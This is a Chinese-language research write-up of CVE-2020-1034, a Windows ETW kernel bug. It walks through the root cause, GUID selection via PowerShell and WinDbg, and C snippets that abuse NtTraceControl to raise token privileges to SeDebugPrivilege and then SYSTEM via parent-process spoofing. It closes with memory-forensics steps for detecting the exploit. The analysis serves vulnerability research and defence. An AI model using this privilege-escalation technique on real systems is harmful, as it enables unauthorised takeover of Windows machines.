简介
9月,MS发布了修复CVE-2020-1034漏洞的补丁程序。这是一个相对简单的漏洞,因此我想将其用作研究案例,介绍一些很少被提及的漏洞利用方面的内容,大多数的漏洞分析文章只介绍了漏洞本身、漏洞的发现和研究,最后以PoC显示成功的“漏洞利用” – 通常是一个BSOD,并将其内核地址设置为0x41414141。这种类型的分析非常引人注目,但我想看看崩溃后的步骤:如何利用一个漏洞并围绕它建立一个稳定的漏洞,最好是一个不容易被发现的漏洞?
这篇文章将详细介绍该漏洞本身,因为在其他人对其进行解释时,主要是汇编代码的截图,以及带有未初始化栈变量的数据结构。借助Microsoft的公共符号文件(PDB),SDK头文件以及IDA的Hex-rays 反编译器之类的工具,从而展示出根本原因。本文将重点探讨该漏洞所涉及的Windows机制,以及如何使用它们来创建稳定的exploit,从而在不使计算机崩溃的情况下提升本地特权。
漏洞
简而言之,CVE-2020-1034是EtwpNotifyGuid中的一个输入验证bug,它允许任意地址的增量。该函数不考虑特定输入参数(ReplyRequested)的所有可能值,对于0和1以外的值,该函数将把输入缓冲区内的地址视为对象指针并尝试引用它,这将导致一个增量ObjectAddress-offsetof(object_HEADER,Body)。本质上是一个应用布尔(BOOLEAN)逻辑的检查,在一种情况下为“FALSE”,而在另一种情况下则使用“==TRUE”。像2这样的值在第二次检查中失败,但仍然会命中第一次。
NtTraceControl接收一个输入缓冲区作为它的第二个参数。在导致此漏洞的情况下,缓冲区将以ETWP_NOTIFICATION_HEADER类型的结构开始。这个输入参数被传递到EtwpNotifyGuid,在这里进行以下检查:
如果NotificationHeader->ReplyRequested是1,则ReplyObject结构字段将填充一个新的UmReplyObject。再往下一点,然后从那里传递到EtwpQueueNotification,在那里我们找到了bug:或者实际上是它的内核副本被传递到EtwpSendDataBlock,然后从那里传递到EtwpQueueNotification,在那里我们找到了bug:
如果NotificationHeader->ReplyRequested不是0,则调用ObReferenceObject,它将获取在对象主体之前找到的OBJECT_HEADER,并将PointerCount增加1。现在我们可以看到问题了:ReplyRequested不是一个可以是0或1的位。它是一个布尔值,意味着它可以是0到0xFF之间的任何值。而除1之外的任何非零值都不会保持ReplyObject字段的原形,但仍将使用(用户模式)调用者为此字段提供的任何地址调用ObReferenceObject,从而导致任意地址的增量。由于PointerCount是OBJECT_HEADER中的第一个字段,这意味着将递增的地址是NotificationHeader->ReplyObject-offsetof(OBJECT_HEADER,Body)中的地址。
这个bug的修复对任何读到这篇文章的人来说都是显而易见的,只需要对EtwpNotifyGuid做一个非常简单的修改:
if (notificationHeader->ReplyRequested != FALSE)
{
status = EtwpCreateUmReplyObject((ULONG_PTR)etwGuidEntry,
&Handle,
&replyObject);
if (NT_SUCCESS(status))
{
notificationHeader->ReplyObject = replyObject;
goto alloacteDataBlock;
}
}
else
{
...
}
ReplyRequested中的任何非零值都将导致分配一个新的reply对象,该对象将覆盖调用方传入的值。
从表面上看,这个bug似乎很容易被利用。但实际上,并不是这样,特别是当我们想要使我们的exploit难以被发现的时候。所以,让我们先看看这个漏洞是如何触发的,然后尝试利用它。
如何触发
这个漏洞是通过NtTraceControl触发的,具有以下签名:
NTSTATUS
NTAPI
NtTraceControl (
_In_ ULONG Operation,
_In_ PVOID InputBuffer,
_In_ ULONG InputSize,
_In_ PVOID OutputBuffer,
_In_ ULONG OutputSize,
_Out_ PULONG BytesReturned
);
如果我们查看NtTraceControl中的代码,我们可以了解到触发该漏洞所需发送的参数信息:
该函数有一个switch语句用于处理操作参数–要达到EtwpNotifyGuid,我们需要使用EtwSendDataBlock(17)。我们还看到了一些关于需要传入的大小的要求,我们还可以注意到,我们需要使用的NotificationType不应该是EtwNotificationTypeEnable,因为这会导致我们改用EtwpEnableGuid。对于NotificationType字段还有一些限制,不过我们很快就会看到。
需要注意的是,这个代码路径是由Win32导出函数EtwSendNotification调用的,Geoff Chappel在他的文章中记录了这个函数。在Geoff验证上述参数检查时,Notify GUIDs上的信息也是有价值的。
让我们看看ETWP_NOTIFICATION_HEADER结构,看看这里我们还需要考虑哪些字段:
typedef struct _ETWP_NOTIFICATION_HEADER
{
ETW_NOTIFICATION_TYPE NotificationType;
ULONG NotificationSize;
LONG RefCount;
BOOLEAN ReplyRequested;
union
{
ULONG ReplyIndex;
ULONG Timeout;
};
union
{
ULONG ReplyCount;
ULONG NotifyeeCount;
};
union
{
ULONGLONG ReplyHandle;
PVOID ReplyObject;
ULONG RegIndex;
};
ULONG TargetPID;
ULONG SourcePID;
GUID DestinationGuid;
GUID SourceGuid;
} ETWP_NOTIFICATION_HEADER, *PETWP_NOTIFICATION_HEADER;
我们已经看过其中的某些字段,而我们却没有看到过,而其中某些字段对于我们的exploit并不重要。我们将从最需要的字段开始——DestinationGuid。
找到正确的GUID
ETW基于提供者和使用者,其中提供者通知某些事件,使用者可以选择由一个或多个提供者通知。系统中的每个提供者和使用者都由一个GUID标识。
我们的漏洞存在于ETW通知机制(以前是WMI,但现在它都是ETW的一部分)。当发送通知时,我们实际上是在通知一个特定的GUID,所以我们需要选择一个可以工作的GUID。
第一个要求是选择系统上实际存在的GUID:
在EtwpNotifyGuid中首先发生的事情之一是调用EtwpFindGuidEntryByGuid,传入DestinationGuid,然后对返回的ETW_GUID_ENTRY进行访问检查。
哪些GUID已注册?
要找到一个能够成功传递此代码的GUID,我们首先应该检查一下ETW内部的一些内容。内核有一个名为PspHostSiloGlobals的全局变量,它是一个指向ESERVERSILO_GLOBALS结构的指针。这个结构包含一个EtwSiloState字段,它是一个ETW_SILODRIVERSTATE结构。这个结构中有许多ETW管理所需要的信息,但是我们研究中需要的一个字段是EtwpGuidHashTables。这是一个包含64个ETW_HASH_BUCKETS结构的数组。要为GUID找到合适的bucket,需要按如下方式进行哈希:(Guid->Data1 ^ (Guid->Data2 ^ Guid->Data4[0] ^ Guid->Data4[4])) & 0x3F
。该系统可能是为了查找GUIDs的内核结构的一种高性能方式而实现的,因为对GUID进行哈希比遍历列表更快。
每个bucket包含一个锁和3个链表,对应于ETW_GUID_TYPE的3个值:
这些列表包含ETW_GUID_ENTRY类型的结构,其中包含每个已注册GUID所需的所有信息:
正如我们在上面的截图中看到,EtwpNotifyGuid将EtwNotificationGuid类型作为ETW_GUID_TYPE传递,除非NotificationType是EtwNotificationTypePrivateLogger,但我们稍后会看到我们不应该使用它。我们可以使用WinDbg来打印在我的系统上注册的EtwNotificationGuidType下的所有ETW提供者,然后看看我们可以从中选择哪些。
当EtwpFindGuidEntryByGuid被调用时,它接收到ETW_SILODRIVERSTATE的指针,要搜索的GUID和该GUID应该属于的ETW_GUID_TYPE,并返回该GUID的ETW_GUID_ENTRY。如果没有找到GUID,它将返回NULL, EtwpNotifyGuid将退出STATUS_WMI_GUID_NOT_FOUND。
dx -r0 @$etwNotificationGuid = 1
dx -r0 @$GuidTable = ((nt!_ESERVERSILO_GLOBALS*)&nt!PspHostSiloGlobals)->EtwSiloState->EtwpGuidHashTable <br>dx -g @$GuidTable.Select(bucket => bucket.ListHead[@$etwNotificationGuid]).Where(list => list.Flink != &list).Select(list => (nt!_ETW_GUID_ENTRY*)(list.Flink)).Select(Entry => new { Guid = Entry->Guid, Refs = Entry->RefCount, SD = Entry->SecurityDescriptor, Reg = (nt!_ETW_REG_ENTRY*)Entry->RegListHead.Flink})
我的系统上只注册了一个活跃的GUID !使用这个GUID进行攻击可能会很有趣,但在此之前,我们应该查看一些与之相关的更多细节。
在上图中,我们可以看到ETW_GUID_ENTRY中的RegListHead字段。这是ETW_REG_ENTRY结构的链表,每个结构描述了一个已注册的提供者实例,因为同一个提供者可以被同一个进程或不同的进程多次注册。我们将获取此GUID(25)的“哈希”并从其RegList中打印一些信息:
dx -r0 @$guidEntry = (nt!_ETW_GUID_ENTRY*)(@$GuidTable.Select(bucket => bucket.ListHead[@$etwNotificationGuid])[25].Flink)
dx -g Debugger.Utility.Collections.FromListEntry(@$guidEntry->RegListHead, "nt!_ETW_REG_ENTRY", "RegList").Select(r => new {Caller = r.Caller, SessionId = r.SessionId, Process = r.Process, ProcessName = ((char[15])r.Process->ImageFileName)->ToDisplayString("s"), Callback = r.Callback, CallbackContext = r.CallbackContext})
有6个不同进程在这个系统上注册了这个GUID的6个实例。这很酷,但可能会使我们的exploit不稳定——当一个GUID被通知时,它的所有注册条目都会被通知,并可能尝试处理请求。这导致了两种情况:
- 1.我们无法准确预测我们的漏洞攻击会给目标地址带来多少增量,因为我们可以为每个注册的实例增加一个增量
- 2.注册此提供者的每个进程都可以尝试以我们没有计划的不同方式使用我们伪造的通知。他们可能试图使用伪造的事件,或者读取一些格式不正确的数据,从而导致崩溃。例如,如果通知具有NotificationType = EtwNotificationTypeAudio,则Audiodg.exe将尝试处理该消息,这将使内核释放ReplyObject。由于ReplyObject不是一个实际的对象,这将立即导致系统崩溃。我没有测试不同的情况,但可以肯定的是,即使使用不同的NotificationType,它最终还是会崩溃,因为一些注册的进程试图将通知处理为真实的通知。
由于我们一开始的目标是创建一个稳定、可靠的exploit,不会随机导致系统崩溃,所以这个GUID似乎并不适合我们。但是这是系统中唯一注册的提供者,那么我们还应该使用什么呢?
自定义GUID
我们可以注册我们自己的提供者!这样我们就可以保证没有其他人会使用它,而且我们可以完全控制它。EtwNotificationRegister允许我们使用自己选择的GUID注册新的提供者。
再一次,我将省去你们自己尝试的麻烦提前告诉你们这是行不通的。但是为什么呢?
与Windows上的所有操作一样,ETW_GUID_ENTRY具有一个安全描述符,描述允许不同用户和组对其执行哪些操作。正如我们在截图中看到的,在通知一个GUID之前,EtwpNotifyGuid调用EtwpAccessCheck来检查GUID是否为试图通知它的用户设置了WMIGUID_NOTIFICATION访问设置。
为了测试这一点,我注册了一个新的提供者,我们可以看到,当我们像前面一样dump注册的提供者时,我们可以看到:
使用!sd命令打印出它的安全描述符(这不是完整的列表,但是我把它精简到相关的部分):
安全描述符由组(SID)和ACCESS_MASK(ACL)组成。每个组均以SID,“S-1-…”和掩码的形式表示,描述允许该组对该对象执行的操作。由于我们以具有中等完整性级别的普通用户身份运行,因此我们通常只能做些有限的事情。我们的进程包括的主要组是 Everyone(S-1-1-0)和Users(S-1-5-32-545)。正如我们在这里看到的那样,默认的安全描述符ETW_GUID_ENTRY不包含任何特定的Users访问掩码,而Everyone的访问掩码为0x1800 (TRACELOG_JOIN_GROUP | TRACELOG_REGISTER_GUIDS),由于我们的用户没有这个GUID的WMIGUID_NOTIFICATION特权,我们会在尝试通知时收到STATUS_ACCESS_DENIED通知,我们的exploit将会失败。
也就是说,除非您在安装了VisualStudio的计算机上运行它。然后默认的安全描述符更改和性能日志用户(基本上是任何登录用户)都会收到各种有趣的特权,包括我们关心的两个权限。
当然,并不是所有guid都使用默认的安全描述符。可以通过注册表项HKLM:\SYSTEM\CurrentControlSet\Control\WMI\Security更改GUID的访问权限:
此项包含系统中使用非默认安全描述符的所有guid。该数据是GUID的安全描述符,但是由于它在这里显示为REG_BINARY,因此以这种方式解析有点困难。
理想情况下,我们只需在这里添加新的GUID和更允许的配置,然后继续触发exploit。不幸的是,让任何用户更改GUID的安全描述符都会破坏Windows安全模型,因此只有SYSTEM、Administrators和EventLog才能访问此项注册表:
如果我们的默认安全描述符不够强大,并且如果没有一个特权更高的进程就无法更改它,那么看起来我们实际上无法使用我们自己的实现GUID。
幸运的是,在系统上使用一个已注册的GUID和注册我们自己的GUID并不是唯一可用的选择。在该注册表项中还有许多其他guid,它们的权限已经被修改。其中至少有一个必须允许非特权用户使用WMIGUID_NOTIFICATION。
这里我们面临另一个问题——实际上,在本例中WMIGUID_NOTIFICATION是不够的。由于这些guid都不是已注册的提供者,所以我们首先需要注册它们,然后才能使用它们。当通过EtwNotificationRegister注册一个提供者时,请求通过NtTraceControl到达EtwpRegisterUMGuid,在这里检查完成:
为了能够使用现有的GUID,我们需要它允许普通用户同时使用WMIGUID_NOTIFICATION和TRACELOG_REGISTER_GUIDS。为了找到一个,我们将使用神奇的PowerShell,它的语法非常难看,几乎让我放弃了,转而用C编写一个注册表解析器(如果你没有注意到布尔值,现在你注意到了)。我们将遍历GUID注册表项中的所有,并检查Everyone(S-1-1-0)的安全描述符,并打印至少允许我们需要的一种权限的guid:
$RegPath = "HKLM:\SYSTEM\CurrentControlSet\Control\WMI\Security"
foreach($line in (Get-Item $RegPath).Property) { $mask = (New-Object System.Security.AccessControl.RawSecurityDescriptor ((Get-ItemProperty $RegPath | select -Expand $line), 0)).DiscretionaryAcl | where SecurityIdentifier -eq S-1-1-0 | select AccessMask; if ($mask -and [Int64]($mask.AccessMask) -band 0x804) { $line; $mask.AccessMask.ToString("X")}}
这里运气不太好。除了我们已经知道的GUID之外,什么都不允许我们需要的权限给Everyone。
但是我还没有放弃!让我们再次尝试脚本,这次检查Users(S-1-5-32-545)的权限:
foreach($line in Get-Content C:\Users\yshafir\Desktop\guids.txt) { $mask = (New-Object System.Security.AccessControl.RawSecurityDescriptor ((Get-ItemProperty $RegPath | select -Expand $line), 0)).DiscretionaryAcl | where SecurityIdentifier -eq S-1-5-32-545 | select AccessMask; if ($mask -and [Int64]($mask.AccessMask) -band 0x804) { $line; $mask.AccessMask.ToString("X")}}
现在,这好多了!有多个GUID允许我们需要的东西;我们可以选择其中任何一个,最后编写一个exploit!
对于我的exploit,我选择使用GUID截图中的第二个{4838fe4f-f71c-4e51-9ecc-8430a7ac4c6c}-属于“内核空闲状态更改事件”。这是一个非常随机的选择,除启用两个必需权限外,其他任何选择都应以相同的方式工作。
我们增加什么?
现在开始简单的部分——我们注册新的GUID,选择一个要增加的地址,并触发exploit。但是我们要增加哪个地址呢?
权限提升最简单选择是令牌特权(token privileges):
dx ((nt!_TOKEN*)(@$curprocess.KernelObject.Token.Object & ~0xf))->Privileges
((nt!_TOKEN*)(@$curprocess.KernelObject.Token.Object & ~0xf))->Privileges [Type: _SEP_TOKEN_PRIVILEGES]
[+0x000] Present : 0x602880000 [Type: unsigned __int64]
[+0x008] Enabled : 0x800000 [Type: unsigned __int64]
[+0x010] EnabledByDefault : 0x40800000 [Type: unsigned __int64]
当检查一个进程或一个线程是否可以在系统中执行某个操作时,内核会检查token特权——包括当前Enabled位。这使得权限提升在我们的例子中相对容易:如果我们想给我们的进程一个特定的有用的特权-例如SE_DEBUG_PRIVILEGE,它允许我们打开系统中任何进程的句柄,我们只需要增加进程token的特权即可。直到它们包含我们想要拥有的特权。
要实现这一点,有几个简单的步骤:
- 1.打开进程token的句柄。
- 2.获取内核中token对象的地址–NtQuerySystemInformation与SystemHandleInformationclass一起使用,以接收系统中的所有句柄并对其进行遍历,直到找到与token匹配的句柄并保存对象地址。
- 3.计算出的地址Privileges.Present和Privileges.Enabled基于token内的偏移量。
- 4.使用我们找到的GUID注册一个新的提供者。
- 5.构建恶意的ETWP_NOTIFICATION_HEADER结构,并调用NtTraceControl正确的次数(SE_DEBUG_PRIVILEGE为0x100000)来递增Privileges.Present,然后再次递增Privileges.Enabled。
就像很多事情一样,这听起来很不错。实际上,当您尝试这样做时,您会发现您的特权不会增加0x100000。实际上,Present特权只会增加4而Enabled不会被改变。要了解为什么我们需要回到ETW内部。
Slots 和 Limits
前面我们看到了GUID条目是如何在内核中表示的,并且每个GUID可以有多个ETW_REG_ENTRY结构注册到它,代表每个注册实例。当一个GUID得到通知时,通知将获得其所有注册实例的队列(因为我们希望所有进程都收到通知)。为此,E ETW_REG_ENTRY有一个ReplyQueue,包含4个ReplySlot条目。其中每一个都指向一个ETW_QUEUE_ENTRY结构,其中包含处理请求所需的信息,由通知者提供的数据块(DataBlock)、应答对象(ReplyObject)、标志(flags)等:
这与exploit无关,但是ETW_QUEUE_ENTRY还包含一个链表,其中包含所有guid中等待此进程的所有队列通知。在这里只提及它,因为这可能是一种获得不同guid和进程的方法,值得探索。
由于每个ETW_REG_ENTRY只有4个回复slots,所以它在任何时候都只能有4个等待回复的通知。当4个slots已满时到达的任何通知都将不被处理,EtwpQueueNotification将引用ReplyObject中提供的“object”,只有当它看到回复slots已满时,才会立即取消对它的引用:
通常这不是问题,因为等待通知的消费者可以很快处理通知,并几乎立即将其从队列中删除。但是,对于我们的通知,情况并非如此,我们使用的GUID没有其他人使用,所以没有人等待这些通知。最重要的是,我们发送了“corrupted”的通知,这些通知将replyrequest字段设置为非零,但没有将有效的ETW注册对象设置为ReplyObject(因为我们使用了一个想要增加的任意指针)。即使我们自己回复通知,内核也会尝试将ReplyObject视为一个有效的ETW注册对象,这很可能会以某种方式导致系统崩溃。
听起来好像我们被堵死了,我们不能回复我们的通知,其他人也不会,这意味着我们没有办法释放ETW_REG_ENTRY中的slots,并且被限制为4个通知。因为释放slots可能会导致系统崩溃,这也意味着一旦触发了漏洞,我们的进程就不能退出,当进程退出时,它的所有句柄都会关闭,这将导致释放所有队列的通知。
让我们的进程保持活跃并不是一个大问题,但是我们可以用4个增量来做什么呢?
答案是,如果我们利用我们对ETW工作原理的了解,我们实际上并不需要将自己限制为递增,而实际上可以只使用一个。
提供者注册来拯救
现在我们知道每个注册的提供者最多只能有4个通知等待回复。好消息是,没有什么可以阻止我们注册多个提供者,即使是同一个GUID。而且,由于每个通知都会为GUID的所有注册实例排队,所以我们甚至不需要分别通知每个实例–我们可以注册X个提供者,只发送一个通知,并接收目标地址的X个增量!或者我们可以发送4个通知并获得4倍的增量(对于同一个目标地址,或者最多4个不同的地址):
知道了这一点,我们是否可以注册0x100000提供者,然后用一个 “bad” ETW通知通知它们一次,并在token中获得SE_DEBUG_PRIVILEGE最终利用它? 不完全是。
当使用EtwNotificationRegister注册供者时,函数首先需要分配和初始化一个内部注册数据结构,该数据结构将被发送到NtTraceControl来注册供者。这个数据结构是通过EtwpAllocateRegistration分配的,我们可以看到下面的检查:
Ntdll只允许进程注册最多0x800个提供者。如果进程当前注册的提供者数是0x800,函数将返回,操作将失败。
当然,我们可以通过找出内部结构,自己分配它们并直接调用NtTraceControl来绕过这个问题。然而,我不推荐这样做——这是一项复杂的工作,而且当ntdll试图处理它不知道的提供者的回复时,可能会导致意想不到的副作用。
相反,我们可以做一些更简单的事情:我们想通过增加特权0x100000。但是,如果我们将特权看作是单独的字节而不是一个DWORD,那么实际上,我们只想在第3个字节增加0x10:
为了使我们的exploit更加简单,只需要增加0x10,我们将只需要添加2字节到我们的两个目标地址Privileges.Present和Privileges.Enabled。如果我们使用找到的GUID注册0x10提供者,然后发送一个带有特权地址的通知,那么我们可以进一步减少需要对NtTraceControl进行的调用。
现在,在编写exploit之前,我们只剩下一件事要做——构建恶意通知。
Notification Header 字段
ReplyRequested
正如我们在这篇文章的开头所看到的,这个漏洞是通过调用NtTraceControl触发的,使用ETWP_NOTIFICATION_HEADER结构,其中replyrequest不是0和1的值。对于这个漏洞,我将使用2,但是在2和0xFF之间的任何其他值都可以。
NotificationType
然后,我们需要从中选择一种通知类型ETW_NOTIFICATION_TYPE:
typedef enum _ETW_NOTIFICATION_TYPE
{
EtwNotificationTypeNoReply = 1,
EtwNotificationTypeLegacyEnable = 2,
EtwNotificationTypeEnable = 3,
EtwNotificationTypePrivateLogger = 4,
EtwNotificationTypePerflib = 5,
EtwNotificationTypeAudio = 6,
EtwNotificationTypeSession = 7,
EtwNotificationTypeReserved = 8,
EtwNotificationTypeCredentialUI = 9,
EtwNotificationTypeMax = 10,
} ETW_NOTIFICATION_TYPE;
前面我们已经看到,我们选择的类型不应为EtwNotificationTypeEnable,因为这将导致不同的代码路径,而不会触发我们的exploit。
我们也不应该使用EtwNotificationTypePrivateLogger或EtwNotificationTypeFilteredPrivateLogger。使用这些类型会将目标GUID更改为PrivateLoggerNotificationGuid,并需要访问TRACELOG_GUID_ENABLE,这对普通用户是不可用的。其他类型,如EtwNotificationTypeSession和EtwNotificationTypePerflib在整个系统中使用,如果某些系统组件试图将我们的通知作为已知类型处理,则可能会导致意外结果,因此我们可能也应该避免使用这些类型。
使用的两种最安全的类型是最后一种- EtwNotificationTypeReserved,我在系统中可以找到的任何东西都不使用它,以及EtwNotificationTypeCredentialUI,仅用于在打开和关闭UAC弹出窗口时从accept.exe发出的通知中使用,没有其他附加类型发送的信息,对于这个exploit,我选择使用EtwNotificationTypeCredentialUI。
NotificationSize
正如我们在NtTraceControl中看到的,NotificationSize字段必须至少为sizeof(ETWP_NOTIFICATION_HEADER)。我们不需要更多,所以我们就把它做成这个大小。
ReplyObject
这将是我们想要增加的地址+ offsetof(OBJECT_HEADER, Body),对象头包含它所在对象的前8个字节,所以我们不应该将它们包括在我们的计算中,否则我们将有一个8字节的偏移量。然后我们再加两个字节来直接增加第三个字节,这就是我们感兴趣的。
这是我们在通知之间需要更改的唯一字段:我们的第一个通知将递增Privileges.Present,第二个通知将递增Privileges.Enabled。
除了DestinationGuid,我们已经讲过很多了,其他字段我们不感兴趣,也不在代码路径中使用,所以我们可以把它们设为0。
构建exploit
现在我们有了所有的东西,我们需要尝试触发我们的exploit,并获得所有的新特权!
注册提供者(Registering Providers)
首先,我们将注册我们的0x10,这很简单,这里没有太多要解释的。为了成功注册,我们需要创建一个回调。它将在提供者收到通知时被调用,并可以对通知进行回复。我选择在这个回调中不做任何事情,但它是机制中一个有趣的部分,可以用来做一些有趣的事情,比如使用它作为一种注入技术。
这篇文章已经足够长了,所以我们将只定义一个最小的回调函数,它什么也不做:
ULONG
EtwNotificationCallback (
_In_ ETW_NOTIFICATION_HEADER* NotificationHeader,
_In_ PVOID Context
)
{
return 1;
}
然后用我们选择的GUID注册我们的0x10提供者:
REGHANDLE regHandle;
for (int i = 0; i < 0x10; i++)
{
result = EtwNotificationRegister(&EXPLOIT_GUID,
EtwNotificationTypeCredentialUI,
EtwNotificationCallback,
NULL,
®Handle);
if (!SUCCEEDED(result))
{
printf("Failed registering new provider\n");
return 0;
}
}
我重用同一个句柄,因为我不打算关闭这些句柄——关闭它们将释放使用的slots,我们已经确定这将导致系统崩溃。
Notification Header
完成所有这些工作之后,我们终于有了我们的提供者和所需的所有通知(notification)字段,我们可以构建通知头部(Notification Header)并触发exploit!之前,我解释了如何获取token的地址,并且它仅涉及大量代码,因此在此不再陈述,我们假设获取token成功并且我们有其地址。
首先,我们计算要增加的2个地址:
presentPrivilegesAddress = (PVOID)((ULONG_PTR)tokenAddress +
offsetof(TOKEN, Privileges.Present) + 2);
enabledPrivilegesAddress = (PVOID)((ULONG_PTR)tokenAddress +
offsetof(TOKEN, Privileges.Enabled) + 2);
然后,我们将定义数据块(DataBlock)并将其置为零:
ETWP_NOTIFICATION_HEADER dataBlock;
RtlZeroMemory(&dataBlock, sizeof(dataBlock));
并填充所有需要的字段:
dataBlock.NotificationType = EtwNotificationTypeCredentialUI;
dataBlock.ReplyRequested = 2;
dataBlock.NotificationSize = sizeof(dataBlock);
dataBlock.ReplyObject = (PVOID)((ULONG_PTR)(presentPrivilegesAddress) +
offsetof(OBJECT_HEADER, Body));
dataBlock.DestinationGuid = EXPLOIT_GUID;
最后,使用通知头部(notification header)调用NtTraceControl (我们可以传递dataBlock作为输出缓冲区,但我决定定义一个新的ETWP_NOTIFICATION_HEADER)::
status = NtTraceControl(EtwSendDataBlock,
&dataBlock,
sizeof(dataBlock),
&outputBuffer,
sizeof(outputBuffer),
&returnLength);
然后,我们将用相同的值重新填充字段,将ReplyObject设置为(PVOID)((ULONG_PTR)(enabledPrivilegesAddress) + offsetof(OBJECT_HEADER, Body)),并再次调用NtTraceControl以增加我们的权限。
然后我们看我们的token:
而且我们有SeDebugPrivilege!
使用SeDebugPrivilege
一旦拥有SeDebugPrivilege,您就可以访问系统中的任何进程。这为您提供了多种不同的方式来运行代码SYSTEM,例如,将代码注入系统进程。
我选择使用Alex和我在faxhell中演示的技术:创建一个新进程,并将其重新赋值为一个非可疑的系统级父进程,这将使新进程作为SYSTEM运行。我选择了和Faxhell一样的服务——DcomLaunch。
可以在有关Faxhell的文章中找到有关此技术的完整说明,因此,我将简要说明以下步骤:
- 1.使用exploit来接收SeDebugPrivilege。
- 2.打开DcomLaunch服务,查询该服务以接收PID,并使用PROCESS_ALL_ACCESS打开进程。
- 3.初始化进程属性,并传入PROC_THREAD_ATTRIBUTE_PARENT_PROCESS属性和DcomLaunch的句柄,以将其设置为父进程。
- 4.使用这些属性创建一个新进程
我执行了这些步骤后:
取证分析
由于这种利用方法留下了永远不会被删除的队列通知,因此在内存中相对容易找到它。
我们回到前面的WinDbg命令并解析GUID表。这次,我们还将header添加到ETW_REG_ENTRY列表,以及列表中的项数:
dx -r0 @$GuidTable = ((nt!_ESERVERSILO_GLOBALS*)&nt!PspHostSiloGlobals)->EtwSiloState->EtwpGuidHashTable
dx -g @$GuidTable.Select(bucket => bucket.ListHead[@$etwNotificationGuid]).Where(list => list.Flink != &list).Select(list => (nt!_ETW_GUID_ENTRY*)(list.Flink)).Select(Entry => new { Guid = Entry->Guid, Refs = Entry->RefCount, SD = Entry->SecurityDescriptor, Reg = (nt!_ETW_REG_ENTRY*)Entry->RegListHead.Flink, RegCount = Debugger.Utility.Collections.FromListEntry(Entry->RegListHead, "nt!_ETW_REG_ENTRY", "RegList").Count()})
不出所料,我们在这里可以看到3个GUID:第一个GUID在我们第一次检查时已经在系统中注册了,第二个GUID用于我们的exploit,以及测试GUID,我们在尝试时注册了它。
现在我们可以使用第二个命令来查看谁在使用这些guid。不幸的是,没有一种很好的方法可以同时查看所有guid的信息,所以我们需要一次选择一个。在进行实际的取证分析时,您必须查看所有GUID(并且可能需要编写一个工具来自动完成此工作),但是由于我们知道我们的exploit使用的是哪个GUID,所以我们只关注它。
我们将在slot 42中保存GUID条目:
dx -r0 @$exploitGuid = (nt!_ETW_GUID_ENTRY*)(@$GuidTable.Select(bucket => bucket.ListHead[@$etwNotificationGuid])[42].Flink)
并在列表中打印有关所有已注册实例的信息:
dx -g @$regEntries = Debugger.Utility.Collections.FromListEntry(@$exploitGuid->RegListHead, "nt!_ETW_REG_ENTRY", "RegList").Select(r => new {ReplyQueue = r.ReplyQueue, ReplySlot = r.ReplySlot, UsedSlots = r.ReplySlot->Where(s => s != 0).Count(), Caller = r.Caller, SessionId = r.SessionId, Process = r.Process, ProcessName = ((char[15])r.Process->ImageFileName)->ToDisplayString("s"), Callback = r.Callback, CallbackContext = r.CallbackContext})
我们可以看到,所有实例都是通过同一进程注册的(通常名为“ exploit_part_1”)。这个本身是可疑的,因为通常进程不会有理由多次注册相同的GUID,并告诉我们应该进一步研究这个问题。
如果我们想进一步调查这些可疑条目,我们可以查看其中一个通知队列:
dx -g @$regEntries[0].ReplySlot
这些看起来更可疑,它们的flags是ETW_QUEUE_ENTRY_FLAG_HAS_REPLY_OBJECT(2),但是它们的ReplyObject字段看起来不正确,它们没有按照对象应该的方式对齐。
我们可以在其中一个对象上运行!pool,并看到这个地址实际上在某个token对象内部:
并且如果我们检查属于exploit_part_1进程的token地址:
dx @$regEntries[0].Process->Token.Object & ~0xf
@$regEntries[0].Process->Token.Object & ~0xf : 0xffff908912ded0a0
? 0xffff908912ded112 - 0xffff908912ded0a0
Evaluate expression: 114 = 00000000`00000072
们将看到,在第一个ReplyObject中看到的地址是在token地址之后的0x72字节,因此它在这个进程的token中。因为ReplyObject应该指向ETW注册对象,而绝对不是指向token中间的某个地方,这显然指向了该进程所做的一些可疑行为。
总结
我想在这篇文章中展示的一件事是,几乎再也没有“简单”的exploit了。5即使像这样的漏洞很容易理解,也很容易触发,但仍然需要大量的工作和对Windows内部机制的了解,才能转化为不会立即导致系统崩溃的漏洞,甚至需要做更多的工作来处理任何有用的事情。
也就是说,这些exploit最有趣的是,它们不依赖任何ROP或HVCI,与XFG、CET、页表或PatchGuard无关。简单、有效、只针对数据的攻击,将永远是安全行业致命的弱点,而且很可能永远以某种形式存在。
这篇文章主要讨论了我们如何安全地利用这个漏洞,但是一旦我们获得了特权,我们就对其进行了常规的操作。
完整的Poc地址。